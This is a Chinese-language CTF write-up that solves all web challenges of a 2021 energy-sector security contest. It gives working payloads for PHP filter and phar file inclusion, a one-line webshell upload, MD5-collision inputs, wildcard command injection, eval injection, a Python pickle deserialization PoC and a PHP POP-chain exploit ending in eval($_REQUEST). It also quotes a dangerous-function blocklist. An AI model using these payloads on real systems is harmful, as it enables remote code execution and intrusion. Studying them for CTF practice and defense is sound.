CTF-2021中國能源網絡WEB題目全解
0x01 前言
在2021年10月15日的“中國能源網絡安全大賽”,筆者對WEB題目進行了嘗試,幸運的做出了所有題目。
感覺WEB的考點形形色色,其中有1道偏于黑盒測試的簡單題目,4道是白盒審計類題目,還有一道是Python的反序列化題目,題目名稱大致如下:

因為唯一的一道黑盒題目還是文件包含題目,所以筆者將題目源代碼全部扒下來了,給大家提供復現環境。(flag自己創建)。

源代碼傳送門:
鏈接:https://pan.baidu.com/s/1byWki_NV9yZNb34xuGEkBA 提取碼:xv3m
下面筆者將分享這次比賽的解題過程。
0x02 ezphp
這是一道很簡單的題目,同時也被大家刷成了簽到題。
打開界面顯示如下:

單機按鈕后會返回源代碼,如圖:

這里MD5的判斷已經是千年老題了,使用數組就可以繞過。
問題是下面的$res的結果不可以包含flag字符串,這里的話我們可以通過php偽協議將它進行base64加密繞過即可。但是我們可以注意到$request_url中間是拼接了一個url地址的,如圖:

這里我們可以將php偽協議拆分成兩段,例如:
php://filter/read=convert.base64-encode/ v/popular/all/resource=/flag,這樣雖然PHP會拋出異常,但是也是可以正常運行的,如圖:

Base64解密獲得flag:

0x03 phar
這道題有一定的黑盒成分,也是比較簡單的一道題目,首頁如下:

我們可以看到這里給出了一個hint,那么訪問include.php看一下,如圖:

給出了提示,說參數的key值為file,那么包含/etc/passwd看一下結果:

顯然這里包含失敗了,在這里我們只能對源代碼的編寫進行猜測,這里有兩條路可選:
1: 程序寫法為 include $_GET[file] . '.xxx'; 針對這一種情況,我們可以fuzz后綴到底是什么,然后再進行讀源碼或包含一系列操作。
2: 顯然這一條路是比較離譜的,也就是說,根據題目名為phar,是否考點為phar反序列化?或者這里存在一個輔助的class.php文件,只是我們不知道class的文件名而已,但是由于這里的hint為include.php,顯然這一條路是比較離譜的。
那么這里可以包含以下include,如圖:

顯然形成自己包含自己,后綴確定為.php,使用偽協議閱讀源碼:

這里不讓使用base,那么我們可以使用url二次編碼繞過,將“e”字符進行二次編碼,如圖:

懟出php源碼:

根據hint.php找到上傳點upload.php,這里讀取upload.php源碼,如圖:

這里限制了后綴與mime類型,但是沒關系,我們可以上傳后綴為jpg的phar文件,在phar文件中存放一個1.php為一句話木馬,包含即可,如圖:

然后phar包含:

0x04 HardCode

這里第一個if判斷使用md5強碰撞即可。
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
下面的preg_match過濾也是比較嚴格的,這里首先判斷版本號,筆者通過http頭發現php版本為5.2.9版本,如圖:

那么這里就不得不踢一下p神的文章了:
https://www.freebuf.com/articles/web/186298.html
顯然這里的preg_match只是多了一個@符號的限制,但是我們還是可以通過Linux的通配符來匹配的,如圖:@的ASCII:

那么根據題目中的過濾0-9,我們可取的也就是@與數字9中間的特殊符號:

這里筆者取“>”,完整的正則寫為[\>-[]。
構造Payload:
x=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&y=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&code=`.%20/???/????????[\>-[]`
如圖:

睡眠3秒,這里可以直接反彈shell。

0x05 CODE

毫無卵用的加密,然后對eval一步一步echo得出如下源代碼:
<?php// error_reporting(E_NOTICE);highlight_file(__FILE__);@session_start();$username = @$_GET['whoami'];if(!@isset($username['admin'])||$username['admin'] != @md5($_SESSION['username'])) {die('error!');} else {if(isset($_GET['code'])) {$admin = $_GET['code'];$admin = addslashes($admin);if(preg_match('/\{openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|system|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore([^}]+)\}/i' , $admin)) {die('error!');}if (intval($admin)) {eval('"' .$admin .('"./hh.php"') .')}}";');}} else {eval('$flag="' .$admin . '";');}}?>
這里$_SESSION[username]是null,所以我們只要使用一個空的md5串就行:whoami[admin]=d41d8cd98f00b204e9800998ecf8427e
下面$_GET[code]經過了addslashes函數,無法閉合下面eval('"' .$admin .('"./hh.php"') .')}}";');的雙引號,我們打印一下如圖:

這里肯定回拋出一個語法錯誤的,因為語法格式是錯誤的。
但是在雙引號包裹${}進行執行還有一個姿勢,如圖:

這種寫法就允許了兩對雙引號在未經反斜杠轉義下的解析。
那么構造Payload:
?whoami[admin]=d41d8cd98f00b204e9800998ecf8427e&code=1${${print(

這樣成功輸出了./hh.php,在preg_match中并沒有過濾反引號,我們可以通過反引號來執行命令,如圖:

放在題目中查看flag位置,如圖:

但是在preg_match中過濾了“flag”字符,這里可以使用Linux的通配符來匹配,如圖:

0x06 EZpy
閱讀代碼:
import base64import ioimport sysimport pickleimport b
from flask import Flask, Response, render_template, requestapp = Flask(__name__)def read(filename, encoding='utf-8'):with open(filename, 'r', encoding=encoding) as fin:return fin.read()class people:def __init__(self, name, sex, age):self.name = nameself.sex = sexself.age=agedef __repr__(self):return f'people(name={self.name!r}, category={self.sex!r}, age={self.age!r})'#==判斷def __eq__(self, other):return type(other) is people and self.name == other.name and self.sex == other.sex and self.age==other.ageclass RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):if module[0:8] == '__main__':return getattr(sys.modules['__main__'], name)raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))def here_load(s):return RestrictedUnpickler(io.BytesIO(s)).load()@app.route('/',methods=['GET','POST'])def index():if request.args.get('source'):return Response(read(__file__),mimetype='text/plain')else:return Response("/?source=")@app.route('/app', methods=['GET', 'POST'])def inll():if request.method == 'POST':try:pickle_data = request.form.get('data')if b'R' in base64.b64decode(pickle_data):return 'no no no'else:result = here_load(base64.b64decode(pickle_data))if type(result) is not people:return '????'correct = (result == people(b.name, b.sex, b.age))if correct:return Response(read('/flag.txt'))except Exception as e:return Response(str(e))test = people('test', 'test','55')pickle_data = base64.b64encode(pickle.dumps(test)).decode()return Response(pickle_data)if __name__ == '__main__':app.run(host='0.0.0.0', port=8000)

這里過濾了R指令碼,那么跟進here_load方法,如圖:

這里指明了只可以獲取__main__模塊下的包,那么這里命令執行暫時先不考慮,我們繼續往下看代碼:

將反序列化出來的對象與people對象進行比較,默認比較應該按照地址進行比較,但是這里的people類寫了__eq__魔術方法,這里的比較就只是生成出來的對象的屬性比較了,如圖:

那么我們就可以通過Python反序列化,去修改b包中的name,sex,age屬性,并且再生成一個people對象,經過__eq__的比較,即可獲取flag.txt的內容,編寫POC:
import base64data=b'c__main__\nb\n}(Vname\nVtest\nVage\nV13\nVsex\nVnan\nub0c__main__\npeople\n)\x81}(Vname\nVtest\nVage\nV13\nVsex\nVnan\nub.'print(base64.b64encode(data))
發送Payload:

獲取flag。
0x07 ezp0p
純純的代碼審計題目:
<?phperror_reporting(0);highlight_file(__FILE__);class This{protected $formatters;public function want(){echo "what do you want to do?";}public function __call($method, $attributes){return $this->format($method, $attributes);}public function format($formatter, $arguments){$this->getFormatter($formatter)->patch($arguments[0][1][0]);}public function getFormatter($formatter){if (isset($this->formatters[$formatter])) {return $this->formatters[$formatter];}}}class Easy{protected $events;protected $event;public function __destruct(){$this->events->dispatch($this->event);}public function welcome(){echo "welcome CTFer!";}}class Ctf{protected $ban;protected $cmd;public function upup(){echo "upupupupupupup!";}public function __construct(){$this->ban='script';$this->cmd='whoami';}public function dispatch($cmd){call_user_func_array("script",$cmd);}}class Gema{protected $xbx;public function gema(){echo "wish you like this ezp0p!";}public function __construct(){$this->xbx='script';}public function patch($Fire){call_user_func($this->xbx,$Fire);}}if($_POST['x']!=$_POST['y'] && md5($_POST['x'])===md5($_POST['y'])){if(file_get_contents(substr($_POST['x'],0,20))!=null){@unserialize(base64_decode($_POST['data']));}else{die('To read this file??');}}else{die('maybe you are right??');}?>
首先這里的unserialize函數是一個門檻,如圖:

要求file_get_contents必須讀出內容,再加上前面的md5判斷,我們這里可以使用fastcoll生成md5的前20位為./././././/index.php,然后進行MD5強碰撞即可。

下面進行挖掘POP鏈路,如圖:

編寫POC:
<?phpclass Gema {protected $xbx = 'assert';}// AAAAAAAAAAAAAAclass This {protected $formatters = ['dispatch' => 'obj...'];public function __construct($obj){$this -> formatters['dispatch'] = $obj;}
}
class Easy{protected $events;protected $event = [1 => ['eval($_REQUEST["c"])']];public function __construct($obj){$this -> events = $obj;}}$obj = new Easy(new This(new Gema()));echo base64_encode(serialize($obj));
獲取Flag:
